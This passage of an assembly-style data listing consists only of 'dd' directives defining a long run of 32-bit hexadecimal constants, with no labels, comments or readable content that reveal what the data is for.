		dd 0F1EDD9ADh, 0AD9E42C4h, 0DE6ADBA9h, 4E404F57h, 5F634161h
		dd 9055F64Bh, 1E203382h, 808CB8ABh, 832B97C9h, 1179E455h
		dd 44800F25h, 0C4F54B93h, 0C8CDFE62h, 9B62122Eh, 80F58F78h
		dd 0ECB94567h, 0E8C44F96h, 0EE1C25B3h, 466EBD85h, 0E519E525h
		dd 734DAD8Bh, 0AD403940h, 0E19D3829h, 151B65Fh,	0A27AF930h
		dd 3FFCF626h, 6BCB0735h, 363A205Ch, 2B0972A1h, 7C3215BDh
		dd 719D5025h, 3FC4B586h, 0EF1BD11h, 78C275Eh, 0CBFEF0F2h
		dd 0C81DBA60h, 6152E662h, 8C4C42B9h, 3C5EDE27h,	3254BF04h
		dd 844E8EBCh, 0ACADE9E1h, 64008C1Dh, 31B7BB23h,	3C9A8212h
		dd 1A04C021h, 0BA74B332h, 0D48E3662h, 460960Bh,	82501h
		dd 1D34A6BBh, 0D761583Bh, 25538A4Bh, 604C4F5Ah,	4795E409h
		dd 2337C40Ah, 0C10BA61Ch, 9910C820h, 4096812Ch,	507A2A92h
		dd 44DB3FEDh, 4BEAE5C0h, 0F3168166h, 626E59D5h,	4D011823h
		dd 38202A1Eh, 635AE8Bh,	2B3F7DCCh, 2253125Ah, 4E5164F3h
		dd 6A50943Fh, 21A2342h,	57C6E3A4h, 2F136561h, 870F5C30h
		dd 8B2DC402h, 0A35CBCFAh, 7ABF847Eh, 0E0182FD7h, 97E975CEh
		dd 1D645E4Dh, 0AECEAD60h, 4F59BD01h, 0A354C787h, 4B9FB32Bh
		dd 560B8085h, 0E068D417h, 0B2D835BAh, 94A2500h,	71ECC27Fh
		dd 0C7CB0281h, 601D8558h, 0D780F16Ch, 9E970B79h, 620198A3h
		dd 0E0E9CF79h, 0DB27A35Eh, 88C2704Eh, 0FD764800h, 0B69CBB4Ah
		dd 0A05F4B90h, 0D4128077h, 9EF76168h, 806FDA4Ah, 1DFB420Ah
		dd 40F92DC6h, 17F91B59h, 0E3912A19h, 0F56EBD23h, 0EC4AA354h
		dd 928A78h, 0EF6BEC7Ch,	9AFEF23Bh, 9D894AC2h, 2E90D72Dh
		dd 0EE76A5DBh, 70B353BDh, 0DF3FF242h, 0DBE380DEh, 0F379365h
		dd 0A146B586h, 9714CD20h, 85E9960Fh, 8F145Fh, 39C65DA0h
		dd 0C042C17Eh, 12244DCh, 0BB50905Bh, 0FF19B2A4h, 5730EBBCh
		dd 97CEF380h, 7B42206Fh, 0DA02D730h, 5F021C55h,	0DEC1F66Ah
		dd 0ECA0BC05h, 8901704Fh, 7C02A916h, 0F6E9D2Eh,	91A4C02Ch
		dd 0B586BFFEh, 5D8935F3h, 0A7917B0Bh, 0D1FFE982h, 0F1004EE6h
		dd 121BD86h, 7DAF6EC9h,	9152016Fh, 0D98ABE1Ch, 7F282F5Fh
		dd 84FF8A62h, 10BF1136h, 22F900Dh, 29006D37h, 761405D0h
		dd 9594FC21h, 6EA5C8C1h, 4BA05D55h, 73E1D2A6h, 0D931307Dh
		dd 0BBF50A40h, 0BFE90418h, 0B142BC0Dh, 1604A5E5h, 0A923FBA7h
		dd 5D2FCABDh, 0FE8A1038h, 57F961BDh, 302F90F1h,	0B7D1B4A8h
		dd 4BA5773Eh, 0CE0C4F6h, 3D4D16A5h, 79A194C0h, 19F2305Ah
		dd 0B8F1B384h, 6FEBD6C7h, 3D5B079Bh, 9FDA7E52h,	1D171508h
		dd 0A5D19E03h, 0B5FEDCEh, 934040F2h, 9F049FC9h,	81DBEB6Ah
		dd 0A8EE9AC0h, 0C80037B3h, 2CBF965Eh, 503B4370h, 0C231C901h
		dd 2581B585h, 5CDBB702h, 148C2EBh, 2F248F0Ah, 7F68558h
		dd 0B2B1A486h, 6DE85C44h, 335BF5A8h, 0BDBA51EEh, 5635CAB5h
		dd 61351981h, 0D524885Fh, 71E40D13h, 5EE61Eh, 750106C2h
		dd 1E3ED46Ch, 0B2139DCDh, 6E1C2141h, 0A15870E4h, 1181975Bh
		dd 0F064D381h, 92971BBAh, 41DC7C10h, 0F085F3AFh, 0FB0AC4DBh
		dd 4EAD9509h, 11E6A26h,	0F4102579h, 7F6876h, 41937E7Bh
		dd 57E62C6Ch, 10A07A95h, 131B99B5h, 0FECC82Bh, 8B3C1920h
		dd 79E85BD1h, 84F6B992h, 7D270BBDh, 36042EC9h, 2ABCCCA0h
		dd 3108FC36h, 790CFD25h, 61291F1h, 23B9BD01h, 6A674C63h
		dd 0B06EDC4h, 2995DF8h,	25E1F423h, 4481F6BBh, 81F129Ch
		dd 4136222Fh, 6BC25724h, 0FE2180A5h, 0EFADB531h, 0DC803279h
		dd 0E5853077h, 514ADD00h, 6C57E343h, 0F00C03EAh, 0C306BD1Dh
		dd 4A8CABE4h, 520EB85Bh, 313B8195h, 0F2254A7Fh,	1D2F84F3h
		dd 0D913BF00h, 94904E87h, 7D303148h, 55C09596h,	0F0450Ch
		dd 0F4DCB5FCh, 4914D6E4h, 0C6054A09h, 0C0C15E11h, 629392D2h
		dd 838B914h, 11A585D0h,	0F60E25AFh, 0EC0AE074h,	57FE0BF9h
		dd 0CC847C61h, 0FC10B0C9h, 2DC84B6h, 0C03C5F7Eh, 3570BF98h
		dd 0FB3DBFh, 7AAC6E74h,	0ED95D22Bh, 25AEC034h, 0A975BD3Eh
		dd 2751660Ah, 3D089E56h, 0F75B122Bh, 301BF272h,	91025D4Dh
		dd 4C3F6295h, 12AF625Eh, 0DA855FFFh, 1443D753h,	0EF655C07h
		dd 9F11E060h, 0D302994Eh, 7AABAA42h, 807E798Ch,	9D12DB81h
		dd 0BA97107Ch, 0ABED775Fh, 77456D40h, 0BB660223h, 5B577383h
		dd 0AD5E515Eh, 0D3E46002h, 219C7DFFh, 0F38A1DDCh, 0F21D9276h
		dd 7EFE9662h, 0C9EA10C5h, 0E902FD16h, 16898CBEh, 3DBA970Eh
		dd 2601AF82h, 7CE1FF02h, 387A40F3h, 477DBCF3h, 0F48AF100h
		dd 297F76BAh, 5238CECFh, 8E828D27h, 0E72EED65h,	3AD16332h
		dd 0DBAA8504h, 9177C052h, 4B55B70Fh, 2214CA40h,	8AF94B27h
		dd 9CE322F0h, 0A1DDCA4h, 0DA80FE77h, 3D0D86C1h,	22B8B7E4h
		dd 0DB9F60FEh, 0D0BE7067h, 0B5858000h, 0C5BF66EBh, 3885979Fh
		dd 10F8C201h, 249155Eh,	5C2F450Ch, 13F63F3h, 409EFB84h
		dd 0EEA95984h, 0C3100C1h, 33EFDD2Ah, 0FDFC4B08h, 795E3500h
		dd 3AE6EBBFh, 8D57223Ch, 9CEDABF3h, 2E73B56Eh, 1D230C6Bh
		dd 9F4B7803h, 0C00BB018h, 9022591h, 0CC07F6C4h,	0EC6F7DD7h
		dd 0B097FB13h, 15FC4AFh, 0CBE780E2h, 2AFA8BBDh,	0B1D40EC7h
		dd 2018EA3h, 4E564F22h,	0D76E6F90h, 0BD358C16h,	0B71CE8A7h
		dd 2772542h, 9E16Fh
		dd 0B52AED68h, 8360D738h, 776B966h, 0C0AA8C61h,	69D912AAh
		dd 0CA6E285Bh, 0D38CD100h, 963DB767h, 0B5600B13h, 61C88204h
		dd 92D8FFA8h, 0BA972041h, 0C9EE0226h, 3E90231h,	0ECF12AD0h
		dd 96972055h, 0D4E09629h, 0FB6C761Eh, 0D812F1A4h, 0DE3A29F1h
		dd 1CD4C054h, 98B6B793h, 0B472B777h, 59627395h,	1DB181Bh
		dd 90D17753h, 42514672h, 695EF9E6h, 413E4DE9h, 0D838AEA3h
		dd 6700F3B1h, 0CF81FC97h, 13610990h, 9B068922h,	98B68074h
		dd 0BD0B2E5h, 0CC8551B4h, 41438B02h, 8DC2525Eh,	2FCD322Dh
		dd 9C7101E0h, 7FF313C9h, 81CD098Ch, 85505E74h, 0AFC61F6Bh
		dd 0E5B1C397h, 0EBCD4E41h, 6050E405h, 0A3FC1540h, 18A2DC1h
		dd 947AE338h, 3CE9F00Fh, 8F068026h, 66E803h, 1A65837Bh
		dd 41DC909Bh, 0D085614Ah, 2EB9B1ADh, 805084E3h,	0DC124BC5h
		dd 0E31F81ADh, 5D404A02h, 4563D368h, 8E0F2D34h,	0DA8ABBA1h
		dd 2C868781h, 6EFA5A60h, 9BA200BEh, 953B28D8h, 3F901294h
		dd 5F3AF2AAh, 0DAF0DDB6h, 0F50947F2h, 0F6F98A50h, 70EB43EAh
		dd 0D6F7B9FCh, 7FA214E6h, 1E398457h, 0E516B054h, 0F0E7BC2Ch
		dd 4CDDB529h, 35842B0Dh, 0E72FB82Ch, 0D2509B2Bh, 0E9F80107h
		dd 0D7347E1Eh, 92EEE0ACh, 0B75ED56Bh, 0C0C1582Fh, 59824B5Dh
		dd 89550086h, 77CB5102h, 91F6D3D9h, 5C2EEC05h, 0CEFD28D5h
		dd 9B162BB8h, 2F28501h,	32A1BD09h, 71978D5Ah, 0FED44055h
		dd 4C12AB04h, 28F21D6Ah, 0B9AD1588h, 2C141DBBh,	0B5C9FCFFh
		dd 92BB53F9h, 1209A265h, 0FBD2A5Dh, 0F80966CBh,	81C54C56h
		dd 0BD22FDB3h, 40EB9A95h, 0B5C9A984h, 2E749D60h, 0D8C87395h
		dd 0C017728h, 7B6012EFh, 0C6A5BF35h, 5DF080D3h,	38F6247Fh
		dd 2BB109B8h, 97C91657h, 2B409AEDh, 48B8CBC4h, 0A54AB42Ch
		dd 0AE9F146Fh, 0BCC0EFDEh, 1F546308h, 98845A2Fh, 382AB5CEh
		dd 3580B175h, 66A0362Dh, 7C00BD23h, 0FB761E01h,	4B159D89h
		dd 7FB99D08h, 38AEC8h, 4C429571h, 735510F3h, 0F0807507h
		dd 51C689E1h, 0DECB531h, 5CA609B7h, 0B5575209h,	8CB40FB3h
		dd 6BC00FFh, 85296B6Ch,	46432E5h, 880F04C2h, 5033E3F5h
		dd 0FA48F33Eh, 0A508BE00h, 388B5B1Ah, 0B872BA12h, 0A82DB3E1h
		dd 1704DBB8h, 7BF80F0Ch, 5BB777E4h, 4A0CA73Ah, 2D87939Ah
		dd 0FCA532D4h, 0F749C55Ch, 0F7803637h, 0C19BB1FFh, 8C60EDF5h
		dd 83DE8A05h, 2F377B08h, 0BC00A1F9h, 73C1712Ch,	0DAA909A1h
		dd 3981A09Dh, 2B3AEB03h, 0BD8E67D8h, 0FF698871h, 0B82D3A84h
		dd 138DB1D3h, 264AEC14h, 1860B050h, 0E5365B2h, 69491559h
		dd 0C14D809Dh, 63ED9637h, 623DAB0Eh, 0F4DBF217h, 0AAA10280h
		dd 0E84E1108h, 715BACB0h, 56CEB75Fh, 8121921h, 0F82715A9h
		dd 0AB5688BAh, 53241719h, 0E4A5F96Eh, 39A2D7ACh, 9749003Fh
		dd 0A4B251ABh, 0B72F2D00h, 35BB50FCh, 1ABA26B3h, 80B93A0h
		dd 1E3F08F3h, 7D92389Ch, 60A874E2h, 87889700h, 0B3E537A6h
		dd 9508BA67h, 1D6411CDh, 0E14DF360h, 0AD1C5BF8h, 8D96F53Eh
		dd 5BF14228h, 0D647A229h, 70CD06Bh, 7954922Ch, 0CD2A1E41h
		dd 0D2282B5Ch, 49DB9546h, 0F9C7FD8h, 0D75D639Fh, 0D471F2C9h
		dd 6E9CD4A5h, 1A5782C9h, 5B01D046h, 6223A219h, 5C1C15B2h
		dd 0B77D7A9Ah, 7B3800BAh, 0E977DEADh, 0FFF31F1Ch, 82B1CF64h
		dd 85071D9Dh, 0C0CC9BC1h, 7766EC69h, 999A0B8Ah,	0F7027307h
		dd 0BA5C7C62h, 91546D6h, 0E8E8B2A9h, 0BAD94Bh, 28853519h
		dd 0C5C9F65Eh, 75201D01h, 0B6AE793Fh, 44D8002Ah, 8B905F45h
		dd 0D21DD94Ah, 78789EABh, 8FA914DCh, 0DD24CEECh, 107BA7F5h
		dd 5F3D38D0h, 70B22021h, 0F43F2096h, 21F65F98h,	4342611Fh
		dd 165E48E0h, 0BFC82EA0h, 7A870915h, 0B58016ADh, 91BB44BBh
		dd 96BCB80Bh, 95F9C4E0h, 0D1C1B192h, 0E7D7DAD9h, 0D81AE40Ch
		dd 2805CFB1h, 50689648h, 0CD9DB481h, 0E05955A5h, 708E53E9h
		dd 70096EF0h, 7ED1FF3Dh, 0CF14DCDDh, 108DD87Ah,	78511565h
		dd 8C7B282Bh, 55F68989h, 26A2948h, 25DD10C4h, 8A0F9001h
		dd 602BA724h, 7CEDBB2Ch, 89315A9Bh, 7DCB6B2Ah, 0FC221100h
		dd 40A73ECFh, 0D8C74B09h, 0EA7775Bh, 9B90748Bh,	4AB8C48Dh
		dd 0DF1318D2h, 4CB3DD96h, 0FDB4F05Bh, 0ED56C430h, 6FE90405h
		dd 8AE1A5B8h, 0F3F902B5h, 5B6B70CBh, 0E887DA00h, 0E9F63EBBh
		dd 297B9D26h, 6D181959h, 97309900h, 9529F558h, 881D4FF9h
		dd 50810A75h, 2CBC207Fh, 8F0123D8h, 68CB9446h, 123F9C4Fh
		dd 62C8BD1Bh, 5C0FD93Ah, 0F42951CAh, 71952C11h,	24EDC9E3h
		dd 8395C840h, 0FA80009Fh, 81218B42h, 6012D9D3h,	0CCE30A75h
		dd 9F78F52Dh, 0C909E494h, 0BDD5B1Bh, 62549F4Fh,	6B9E6CA5h
		dd 19F723DFh, 0A7606782h, 725D00B4h, 0C36345D1h, 6138ACB7h
		dd 0E6F802B0h, 0FCBD0370h, 71E48B7Fh, 875A2029h, 81E3B44Ah
		dd 0BAFE257Dh, 2AA11718h, 82326282h, 5C5C709Eh,	0B1043B5Dh
		dd 0D4562FC5h, 358AC59h, 0CF80C82Bh, 51D1D06Ah,	0EDE302BFh
		dd 0E95B13EBh, 0B72CA2C4h, 1508B698h, 0B5F02F2Fh, 0C0F2D125h
		dd 0EF9D334Ch, 8FAFA54h, 1E37062Ah, 0C1850100h,	57199720h
		dd 11AA1415h, 0E914ED4Fh, 0B84F6F45h, 8560898Ch, 8CEE6181h
		dd 9D2F2349h, 0C2F47431h, 19892684h, 90B1857h, 0BA12FB5h
		dd 43A598E9h, 7E41FE23h, 6DB07B6Ah, 35149707h, 0EE272A13h
		dd 0CCBC0ABDh, 311FD102h, 0C35AABCAh, 1347C12Ch, 2D63B2ABh
		dd 2B78F97Bh, 4058001Ch, 39E3EB81h, 7BBF11F8h, 0ACB5A53Eh
		dd 9F6EF900h, 4BB993C5h, 598388DEh, 0DA4E0D47h,	2D2280EFh
		dd 0CF10ADh, 0E381B582h, 70B9678h, 0D76EFC4Eh, 20A48700h
		dd 0F69365F2h, 48C02B2Eh, 0D5852909h, 0D249CAAFh, 2BCA8BFFh
		dd 0FE285C2Ch, 0D05A1A46h, 68B499E4h, 4DC37BCh,	0B4A270EDh
		dd 0B84827Bh, 6425C554h, 5F562756h, 21F9FE1Ah, 51DA3500h
		dd 0A15833h, 71B43060h,	795305D9h, 0E24B4DFAh, 16C8439Ah
		dd 782ED0C1h, 53C2B2Eh,	95DB531h, 945F17FDh, 5EDBAA94h
		dd 0B6D8BF12h, 317D10E9h, 0D1DBEFA4h, 1892EE80h, 9702FACFh
		dd 0F551222h, 0B9166480h, 0F35C0079h, 312BBDA0h, 46013E7Bh
		dd 4B655AB6h, 1ED9A26Ah, 7A1FE433h, 36DC6F66h, 8D0BD5CAh
		dd 94827C7Dh, 977DE1E1h, 0D8441D14h, 0E2A660h, 9BE4E7D3h
		dd 1876FDCAh, 0E54E7300h, 0A14268E8h, 0B1105C6Ah, 615F2532h
		dd 0C8511A5Ch, 0B020E73Ah, 0E03A2CEFh, 391497FCh, 825B656Dh
		dd 60F7922Ah, 0F572615Bh, 46BFDD14h, 0D0B325C4h, 46ED18C2h
		dd 7B07D1C0h, 0AC015B60h, 0B58B8278h, 569C9269h, 0DEDB2C3Eh
		dd 8A4BC509h, 7399D516h, 5E482EF9h, 6FD0A520h, 46582D25h
		dd 2392954Ah, 0FDEF1DEh, 5A46BFA5h, 9977658Bh, 5F49567h
		dd 1ED71397h, 5615B9CCh, 17ECF596h, 85A80570h, 0C089C62Dh
		dd 6A163222h, 0E03F4D97h, 0C4A642B7h, 3F66E405h, 2481C720h
		dd 68001031h, 972E37E9h, 872F737Ch, 8837162Fh, 0A4313799h
		dd 11D55A87h, 52EC6E13h, 5CA9004Bh, 0BAF30E7Eh,	0C04A709Bh
		dd 9A2E259Dh, 4D028433h, 1BCD78C1h, 523A722Eh, 0F711A40h
		dd 46ADC082h, 0F9608002h, 65850908h, 3B742C01h,	28F6D8A5h
		dd 986D5BF6h, 6154BD16h, 8A74BFB7h, 0C2315E25h,	623DF54Ah
		dd 448A7CA7h, 80ADBC51h, 0F19B81A1h, 0E0073EC0h, 8A204C00h
		dd 7C59F85Dh, 12629D58h, 0AAB84DBDh, 69AF8CA4h,	43D4AD00h
		dd 6677E274h, 360D62D8h
		dd 38570815h, 4A9D89B9h, 810500D1h, 3CF2DFEFh, 64C7E7Ch
		dd 71BD4ABFh, 2652BBD2h, 6E6E0CB1h, 0B48E0082h,	0F9129E67h
		dd 2576C266h, 90F79673h, 1AA5BEAh, 53685F8Ah, 0CC518B92h
		dd 0A126E5D1h, 7C2DB86Bh, 8BC5600Bh, 820EFF72h,	43D6CE05h
		dd 0DA77AC21h, 3AB0F6CFh, 0BE96F892h, 55017332h, 0E25472C2h
		dd 0CB8041E8h, 2FD59D81h, 4773073Fh, 0B153AF02h, 400C0939h
		dd 2B45BD8Ch, 8A2B5F81h, 0FD562482h, 0EA805A0Fh, 94802C50h
		dd 0AC68C6Eh, 383A00F4h, 3948F133h, 0A40BB758h,	7F56B390h
		dd 9DBBC118h, 0E8E0EB78h, 17E79A2h, 0F5F31FE0h,	0A298B2D1h
		dd 3D1F21F0h, 51395849h, 0DC0450B8h, 0C4D97E01h, 237F6BAEh
		dd 58DE251Ah, 40F3D8CBh, 0E9229020h, 774090Bh, 0D380A0A4h
		dd 0F09A4BB5h, 0DAE2FB50h, 95299004h, 9BEE1E25h, 0C019C8BAh
		dd 26F0AF29h, 8E9E147Ch, 0C41F7E40h, 0C8F600CFh, 0CB1B49D7h
		dd 0CEC02861h, 9B184E9Ch, 0B87E4C9Eh, 0D7815F00h, 455DE520h
		dd 0E06E615Fh, 0DB17C007h, 16E5087h, 1B481418h,	4A5758B6h
		dd 9658A4CFh, 0FC89D125h, 53D29B56h, 38AC70B9h,	82D82501h
		dd 0FC8A1198h, 0D9BB622Eh, 0E5CDDA1Dh, 9015F660h, 2451E676h
		dd 9C7EEB7h, 0DC60AD9Dh, 0FC3F66BFh, 738A4BF1h,	2F04191Ch
		dd 2DE6556h, 0FA67209Fh, 8F545AFFh, 2412BF60h, 0E0655B33h
		dd 0FAA731D6h, 8271DA9Ah, 0FE1159ADh, 12E8E528h, 631FEE29h
		dd 5BF86A44h, 0C884DAABh, 5AA9C017h, 0E4BFBA6Eh, 0D87E1C39h
		dd 0F0A5C035h, 0D7EB1E9Ch, 0DB381203h, 81E06846h, 982B5522h
		dd 608810C0h, 489C003Ah, 13F98B7Ah, 7D07CDF4h, 677612DDh
		dd 0E9C15CFBh, 0FD50DBD3h, 683C0247h, 7D9AB686h, 4060FD54h
		dd 182393h, 80E1D156h, 0A5C844ACh, 52A1DA00h, 172D3CFAh
		dd 0F25F4E1Eh, 0B84A0019h, 0B1982215h, 85300DEh, 787D3620h
		dd 4956807h, 1330E4h, 63D3BF06h, 88973455h, 0BDEBA31h
		dd 3C6240C8h, 0CBE938FDh, 4DE747Bh, 40A729DFh, 0A0DCEB10h
		dd 1E949751h, 0ACF1F9B5h, 2CD09BCh, 519D047Bh, 715BDEC9h
		dd 0DB72B0C9h, 0E1995460h, 9FD24E83h, 42F8D819h, 63621211h
		dd 2EC5E1F6h, 0C91CF4E7h, 6CDE004Ch, 0FD8631A3h, 0B989DA00h
		dd 7BFC4E98h, 23620151h, 958B60D9h, 48163A31h, 0E39421EBh
		dd 665CEC39h, 470B2700h, 8B536F2Ah, 0AC440050h,	5A0CF308h
		dd 0CD955F61h, 601764AEh, 4B7889BBh, 0ABF185F3h, 1405ED32h
		dd 96788CB3h, 305EE2A3h, 0B5F2DC5Fh, 0FC811E1Dh, 6CF8C17Bh
		dd 0C56B2EA0h, 28001D23h, 7249CC4Eh, 910A0025h,	0C7814B24h
		dd 0D625D114h, 0F4F55448h, 0DFA6A363h, 0CDEBBC5Dh, 6D342B23h
		dd 13736FFBh, 57BF9F7Ch, 9D4D02F2h, 29FB20F9h, 1CB35084h
		dd 0DBFFAE84h, 57EDCAEDh, 0DF04724Ah, 0C3B8E118h, 1448A0D2h
		dd 12D7C7B5h, 5E7BBF65h, 0DF167700h, 9C59D852h,	90741125h
		dd 799AFAC1h, 0B9803E69h, 84370F80h, 96B8CA0Ch,	0BBA9BF05h
		dd 4BAA7095h, 0F58F06D7h, 80009BB2h, 5F3C6C71h,	89CE566Ah
		dd 8C5B4B7Eh, 0B29D8BB4h, 59C15FD3h, 91752E0Bh,	2C0C3201h
		dd 292E3882h, 4BE82B6Dh, 0BC6FFD4Fh, 2CD2093Dh,	6B71DDAFh
		dd 0DE2FC69Ch, 1100DEEAh, 6EEBA7DFh, 12532F79h,	0E2A0D380h
		dd 0B02EE977h, 7B129205h, 77E069E9h, 0DBCF0980h, 307DC18Bh
		dd 4A2185B9h, 0CB7BBD2Bh, 2532D650h, 1AFE9AE4h,	25B3304h
		dd 9CEBDDFBh, 314E0FD5h, 0F95A3C8h, 547D3A23h, 0D64D86C0h
		dd 5A2F5683h, 2D135885h, 0EA54E28Ah, 0B7BD4BBEh, 3220DF90h
		dd 25094996h, 0F8FECA2Dh, 0A62EEB4Bh, 751EF2A9h, 0E950F746h
		dd 6D00A73Bh, 344C1DF9h, 0A036C380h, 4EC50286h,	25F66FEEh
		dd 5B44C262h, 0F0D771E2h, 0A4BCEF1h, 4F965111h,	0EBB8F7BDh
		dd 703D432Fh, 6BA227B4h, 4FC3D95Ch, 283D899h, 1BE50093h
		dd 0DB4997A7h, 0EFE0C301h, 8049D9BDh, 0D57CA95h, 31002284h
		dd 0A43C2397h, 524C287h, 3577F5BFh, 648B8625h, 0DC759Eh
		dd 71DF4B38h, 0B5673192h, 0AC8DD54Bh, 6A0E0763h, 0C640885Fh
		dd 0DD5CF6ABh, 0C639BB25h, 566F0BCh, 0FF06CF10h, 0C00E9BD1h
		dd 1B2B0FD5h, 8AA44BBDh, 0DB71279Dh, 4B19D8D4h,	0C24FEE02h
		dd 46F5411Ch, 0BF760FB6h, 0A7C7794Eh, 50D2401Bh, 0C8F6A025h
		dd 6C6AD626h, 49DB2C3Bh, 4B0E493Bh, 0EED2C69Bh,	0C5EFB900h
		dd 2C173940h, 0CB7BFB8Bh, 0EBE977C0h, 0CF46719Dh, 752EC568h
		dd 0A95E4Bh, 7BB65912h,	0C400B8B3h, 4131A406h, 13233362h
		dd 0ED1A7D78h, 0F867B811h, 8DD001E1h, 646A7D88h, 0FE882A02h
		dd 5F0F0149h, 1380CE47h, 0A7302E2Dh, 0B2319D01h, 0C7829FECh
		dd 9FA09BC9h, 116D8D29h, 9F711497h, 0D3FE3190h,	1E5A7900h
		dd 542A4D9h, 55DCF58Eh,	0AC130911h, 82738669h, 74AFFC12h
		dd 0A812B91Dh, 504C00F9h, 9D31ECDFh, 4DCB3071h,	0B1D74FFh
		dd 9202C0D5h, 0CF41551h, 3DC10EF4h, 0BBDF4B30h,	11CAA826h
		dd 89530908h, 2861579Dh, 0A7622E5Fh, 90AFF207h,	0BB060CEh
		dd 0B70E6FEh, 29159D12h, 982B99E5h, 552595E6h, 98297132h
		dd 0CF811DE1h, 0D54A7A09h, 0B4A87018h, 0E09E4042h, 0CD4F8426h
		dd 0AC9675BCh, 119DC231h, 42751217h, 24B456CFh,	119B60F8h
		dd 292D69F9h, 0A87FDE81h, 22F80082h, 0ABBFC82Bh, 71154853h
		dd 11CD18Bh, 0EFF54929h, 212EFFE5h, 25B51C2h, 775BE471h
		dd 39C6B59Dh, 314F98B5h, 8B9570B5h, 11BF07FFh, 2E64BB41h
		dd 0A419C248h, 56E90CFDh, 2EBE570Fh, 0B764E540h, 9E491610h
		dd 0AD5A075Ch, 0E455195Bh, 8EB72538h, 3345C2C4h, 0E500F963h
		dd 5F971D92h, 2902FF1Fh, 0A638574Fh, 93C3C312h,	0A5A5280Ch
		dd 0B8FE4A29h, 76952800h, 1201E981h, 0C2CF5CF5h, 7E093180h
		dd 47566B92h, 0C062DF08h, 0E6B9F88Bh, 0DBBD0870h, 0C4F07885h
		dd 1AA67E2Fh, 35C502B1h, 0FCE12210h, 0BB00F159h, 0AC4D5419h
		dd 0BE0E00E3h, 0BA6A1327h, 0A3E728Ch, 60DC00F8h, 1B18EE81h
		dd 0B26B1656h, 0FC6E09ABh, 25DC9554h, 64D6D9C0h, 3A551C10h
		dd 0FD2B47D4h, 0EF46E7Eh, 12BA1CF7h, 93EC9BADh,	0B01DE79h
		dd 0CEB65265h, 120B2C1h, 6D2EE141h, 0E5CC88C9h,	0C0F92F2Ah
		dd 5DD08109h, 12BCC748h, 9536C697h, 25FB9B8Bh, 97182D0h
		dd 0BD2947DFh, 608334FEh, 1E79B501h, 0A59D33AFh, 0B961A305h
		dd 8C19ACCAh, 0E1A92600h, 29B8F568h, 0A1D15E95h, 7FDA6A9Fh
		dd 98C01AC8h, 16AE658Fh, 0FC48C6EAh, 0E7B2D2F3h, 7D37E8B6h
		dd 9628D2Ch, 73E75C29h,	0C5F40B8Fh, 28CE26F4h, 76E62D4Fh
		dd 25B52915h, 798A40FDh, 0FEB62E4Ah, 216E828h, 0D7C5EBF4h
		dd 5BE0CBBCh, 7BBF5FFAh, 0B9CE3CDBh, 5EED904Ah,	9EE1CEF4h
		dd 200DC45h, 0C1164CFh,	16B7C0C1h, 52F5241Ch, 88FCB207h
		dd 0BF0CB545h, 13FEB28Ch, 84F1BD2Bh, 0A2EDAC27h, 35D61A44h
		dd 0C8DB18D4h, 0EF39CA02h, 0CFDF8C5h, 210F8EABh, 0BF6DA5D9h
		dd 73830940h, 0DCD79C60h, 2E184B02h, 5E11AFF0h,	0DBC02702h
		dd 0ABB3E180h, 605A0300h, 2613933h, 0B3D3E381h,	0C45C3AB9h
		dd 4401A4B8h, 0B8E109F6h, 0CD1EDF2h, 816B1E00h,	0ED2703Dh
		dd 0A7EB4EC1h, 0C24C2323h, 51D9F5E8h, 0BAD46097h, 0A55F5A52h
		dd 107B3F98h, 0C431B102h, 1C5EF5E9h, 0F440F4ADh, 6D59FB0Fh
		dd 22FDEB2Bh, 5E565047h, 62712F14h, 8218EF80h, 44D7658h
		dd 5BDF8BC6h, 82069E6Ah, 0C0DBA970h, 830735E2h,	6F90C12h
		dd 213639ABh, 0F049AC46h
		dd 9184125h, 0ACBB5A10h, 18793102h, 0FC33C9DCh,	455040DDh
		dd 0C709B8FCh, 595B307Fh, 0C2D08B1Eh, 12DE9C54h, 0A75B7821h
		dd 0D0DA4ED2h, 956EC193h, 98056EF3h, 9DABD146h,	1106F18Dh
		dd 0D7C201C8h, 91E01FCDh, 14F8928Eh, 81D24AE4h,	0F68B1512h
		dd 301BB228h, 0E6003817h, 0C674F779h, 25BF66A2h, 22E660ECh
		dd 9259598h, 22EBCE20h,	520008E8h, 0BE7C24E4h, 16836385h
		dd 4BB9BD23h, 15575B45h, 29F749A0h, 706465h, 0A480A937h
		dd 4BA2513Bh, 0EC1D5900h, 40E43EBAh, 9B065B89h,	0ABA78408h
		dd 7715B2h, 0FEEAF651h,	0FF7DE742h, 6B22BE7h, 0CFE22BA9h
		dd 0D646204Eh, 1A00FD46h, 0B7ED6243h, 97C39C23h, 98776589h
		dd 0B87529h, 378092A6h,	96B6AA8Fh, 507D1E02h, 5541F6C6h
		dd 5C3A081h, 94B02A59h,	5E0A4061h, 0BEA7095h, 24EB988Eh
		dd 9D2343C0h, 0EE030125h, 0CB48CE37h, 8DC41E49h, 3395AB5h
		dd 0ECBCEA3Ch, 0D4F9EE68h, 79994C2Eh, 0F223F424h, 6C4BE700h
		dd 0C1819E7Eh, 0CBEA116Ah, 886E2E2Eh, 87CD0600h, 89471055h
		dd 0CBB99D4Eh, 0EEB88D24h, 0CFC41629h, 0FC89F6E6h, 0CA4CF826h
		dd 2D172910h, 0FEBB761h, 0F322E057h, 835C714Fh,	65AD025Ah
		dd 71895601h, 0BF278012h, 950D818h, 152369E9h, 16F8930Bh
		dd 0DD0B59B5h, 0A016D0A5h, 257DBF3Fh, 43C55F0Eh, 5A38AA1Dh
		dd 9ABC51ADh, 26798938h, 17613D85h, 402C0DD4h, 0ED9D8B84h
		dd 0BC5F29C6h, 0A036962h, 22D088Dh, 39950102h, 0EF4B5C30h
		dd 10B19D82h, 0E4F26D55h, 39026115h, 0FD5A242Bh, 3184BCD6h
		dd 0CDBE8DB9h, 9717D0Ch, 71BCEB80h, 0DF80BC3Fh,	0FBBB960Dh
		dd 5112904Fh, 0B2C95350h, 41EB80FFh, 0FDD20414h, 0AA5FB00Eh
		dd 0A3C0779Bh, 0BFB93694h, 57122B71h, 0BF042C84h, 0CAEA71F5h
		dd 0DA90A544h, 0C4E64707h, 5D2AB5F8h, 18E22592h, 0EF8E0593h
		dd 0AAB664E5h, 0B566F69Dh, 0ECCA48B0h, 2865B901h, 81744A3Eh
		dd 312E5920h, 1AEE798Eh, 0F1B62AAEh, 31C224Bh, 54641275h
		dd 0A55927D2h, 80124F00h, 3CC5CB7h, 0CD110717h,	3EE09AD8h
		dd 509F9327h, 0FE604AF4h, 161BD33h, 312050B2h, 2B2EB1BDh
		dd 9004F474h, 0EE131A79h, 5602390Bh, 43735A5Ch,	0BE0DC650h
